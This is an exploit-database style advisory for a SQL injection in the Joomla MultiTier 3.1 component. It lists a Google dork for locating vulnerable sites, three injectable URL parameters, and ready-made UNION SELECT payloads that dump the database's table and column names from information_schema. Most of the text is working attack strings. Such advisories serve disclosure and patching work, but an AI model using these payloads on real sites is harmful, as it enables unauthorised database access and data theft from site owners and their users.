# # # # # # Exploit Title: Joomla! Component MultiTier v3.1 - SQL Injection # Google Dork: inurl:index.php?option=com_multitier # Date: 23.02.2017 # Vendor Homepage: http://www.beesto.com/ # Software Buy: https://extensions.joomla.org/extensions/extension/ads-a-affiliates/affiliate-systems/multitier/ # Demo: http://www.beesto.com/extensions/13-j-multitier/40-demo # Version: 3.1 # Tested on: Win7 x64, Kali Linux x64 # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Mail : ihsan[@]ihsan[.]net # # # # # # SQL Injection/Exploit : # Login as regular user # http://localhost/[PATH]/index.php/component/multitier/?mtpage=takecodel&tid=1&lid=[SQL] # -66'+/*!50000union*/+select+1,0x496873616e2053656e63616e,3,4,5,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),7,8+-- - # http://localhost/[PATH]/index.php/component/multitier/?mtpage=link_preview&id=[SQL] # -66'+/*!50000union*/+select+1,0x496873616e2053656e63616e,3,4,5,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),7,8+-- - # http://localhost/[PATH]/index.php/component/multitier/?mtpage=takecodeb&tid=1&bid=[SQL] # -66'+/*!50000union*/+select+(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),2,3+-- - # # # # #